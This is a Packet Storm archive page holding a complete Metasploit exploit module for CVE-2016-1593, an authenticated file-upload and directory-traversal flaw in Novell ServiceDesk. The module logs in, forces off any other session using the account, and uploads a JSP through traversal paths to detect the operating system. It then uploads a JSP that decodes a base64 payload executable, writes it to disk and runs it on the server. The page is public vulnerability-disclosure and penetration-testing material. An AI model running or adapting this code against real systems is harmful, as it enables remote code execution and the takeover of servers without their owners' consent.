Lucene search

K
packetstormPedro RibeiroPACKETSTORM:136717
HistoryApr 18, 2016 - 12:00 a.m.

Novell ServiceDesk Authenticated File Upload

2016-04-1800:00:00
Pedro Ribeiro
packetstormsecurity.com
21

0.868 High

EPSS

Percentile

98.6%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell ServiceDesk Authenticated File Upload',  
'Description' => %q{  
This module exploits an authenticated arbitrary file upload via directory traversal  
to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in  
Windows and Linux installations of Novell ServiceDesk, as well as the Virtual  
Appliance provided by Novell.  
},  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2016-1593' ],  
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],  
[ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]  
],  
'Platform' => %w{ linux win },  
'Arch' => ARCH_X86,  
'DefaultOptions' => { 'WfsDelay' => 15 },  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'Novell ServiceDesk / Linux',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86  
}  
],  
[ 'Novell ServiceDesk / Windows',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86  
}  
],  
],  
'Privileged' => false, # Privileged on Windows but not on (most) Linux targets  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 30 2016'  
))  
  
register_options(  
[  
OptPort.new('RPORT',  
[true, 'The target port', 80]),  
OptString.new('USERNAME',  
[true, 'The username to login as', 'admin']),  
OptString.new('PASSWORD',  
[true, 'Password for the specified username', 'admin']),  
OptString.new('TRAVERSAL_PATH',  
[false, 'Traversal path to tomcat/webapps/LiveTime/'])  
], self.class)  
end  
  
  
def get_version  
res = send_request_cgi({  
'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),  
'method' => 'GET',  
'headers' => {  
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',  
}  
})  
  
if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/  
return $1.to_f  
else  
return 999  
end  
end  
  
  
def check  
version = get_version  
if version <= 7.1 && version >= 6.5  
return Exploit::CheckCode::Appears  
elsif version > 7.1  
return Exploit::CheckCode::Safe  
else  
return Exploit::CheckCode::Unknown  
end  
end  
  
  
def pick_target  
return target if target.name != 'Automatic'  
  
print_status("#{peer} - Determining target")  
  
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}  
  
traversal_paths = []  
if datastore['TRAVERSAL_PATH']  
traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path  
end  
  
# add Virtual Appliance path plus the traversal in a Windows or Linux self install  
traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])  
  
# test each path to determine OS (and correct path)  
traversal_paths.each do |traversal_path|  
jsp_name = upload_jsp(traversal_path, os_finder_payload)  
  
res = send_request_cgi({  
'uri' => normalize_uri('LiveTime', jsp_name),  
'method' => 'GET',  
'headers' => {  
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',  
},  
'cookie' => @cookies  
})  
  
if res && res.code == 200  
if res.body.to_s =~ /Windows/  
@my_target = targets[2]  
else  
# Linux here  
@my_target = targets[1]  
end  
if traversal_path.include? '/srv/tomcat6/webapps/'  
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)  
else  
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)  
end  
return traversal_path  
end  
end  
  
return nil  
end  
  
  
def upload_jsp(traversal_path, jsp)  
jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")  
data = post_data.to_s  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(@upload_url),  
'headers' => {  
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',  
},  
'cookie' => @cookies,  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
if not res && res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")  
else  
return jsp_name  
end  
end  
  
  
def create_jsp  
opts = {:arch => @my_target.arch, :platform => @my_target.platform}  
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)  
exe = generate_payload_exe(opts)  
base64_exe = Rex::Text.encode_base64(exe)  
  
native_payload_name = rand_text_alpha(rand(6)+3)  
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'  
  
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)  
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)  
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)  
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)  
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)  
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)  
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)  
  
if @my_target['Platform'] == 'linux'  
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)  
chmod = %Q|  
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});  
Thread.sleep(200);  
|  
  
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)  
cleanup = %Q|  
Thread.sleep(200);  
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});  
|  
else  
chmod = ''  
cleanup = ''  
end  
  
jsp = %Q|  
<%@page import="java.io.*"%>  
<%@page import="sun.misc.BASE64Decoder"%>  
<%  
try {  
String #{var_buf} = "#{base64_exe}";  
BASE64Decoder #{var_decoder} = new BASE64Decoder();  
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());  
  
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");  
String #{var_path} = #{var_tmp}.getAbsolutePath();  
  
BufferedOutputStream #{var_ostream} =  
new BufferedOutputStream(new FileOutputStream(#{var_path}));  
#{var_ostream}.write(#{var_raw});  
#{var_ostream}.close();  
#{chmod}  
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});  
#{cleanup}  
} catch (Exception e) {  
}  
%>  
|  
  
jsp = jsp.gsub(/\n/, '')  
jsp = jsp.gsub(/\t/, '')  
jsp = jsp.gsub(/\x0d\x0a/, "")  
jsp = jsp.gsub(/\x0a/, "")  
  
return jsp  
end  
  
  
def exploit  
version = get_version  
  
# 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),  
'headers' => {  
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',  
}  
})  
  
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/  
login_url = $2  
@cookies = res.get_cookies  
if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/  
password_form = $1  
else  
# we shouldn't hit this condition at all, this is default for v7+  
password_form = 'password'  
end  
if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/  
username_form = $1  
else  
# we shouldn't hit this condition at all, this is default for v7+  
username_form = 'username'  
end  
else  
fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")  
end  
  
# 2: authenticate and get the import_url  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(login_url),  
'headers' => {  
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',  
},  
'cookie' => @cookies,  
'vars_post' => {  
username_form => datastore['USERNAME'],  
password_form => datastore['PASSWORD'],  
'ButtonLogin' => 'Login'  
}  
})  
  
if res && res.code == 200 &&  
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above  
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5  
import_url = $1  
else  
# hmm either the password is wrong or someone else is using "our" account.. .  
# let's try to boot him out  
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&  
res.body.to_s =~ /This account is in use on another system/  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(login_url),  
'headers' => {  
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',  
},  
'cookie' => @cookies,  
'vars_post' => {  
username_form => datastore['USERNAME'],  
password_form => datastore['PASSWORD'],  
'ButtonLoginOverride' => 'Login'  
}  
})  
if res && res.code == 200 &&  
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above  
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5  
import_url = $1  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")  
end  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")  
end  
end  
  
# 3: get the upload_url  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(import_url),  
'headers' => {  
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',  
},  
'cookie' => @cookies,  
'vars_post' => {  
'ButtonImport' => 'Import'  
}  
})  
  
if res && res.code == 200 &&  
(res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above  
res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5  
@upload_url = $1  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")  
end  
  
if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/  
@upload_form = $1  
else  
# go with the default for 7.1.0, might not work with other versions...  
@upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"  
end  
  
# 4: target selection  
@my_target = nil  
# pick_target returns the traversal_path and sets @my_target  
traversal_path = pick_target  
if @my_target.nil?  
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")  
else  
print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")  
end  
  
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.  
# Fail if this is the case and ask the user to select an appropriate payload.  
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/  
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")  
end  
  
# 5: generate the JSP with the payload  
jsp = create_jsp  
print_status("#{peer} - Uploading payload...")  
jsp_name = upload_jsp(traversal_path, jsp)  
if traversal_path.include? '/srv/tomcat6/webapps/'  
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)  
else  
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)  
end  
  
# 6: pwn it!  
print_status("#{peer} - Requesting #{jsp_name}")  
send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})  
  
handler  
end  
end  
`

0.868 High

EPSS

Percentile

98.6%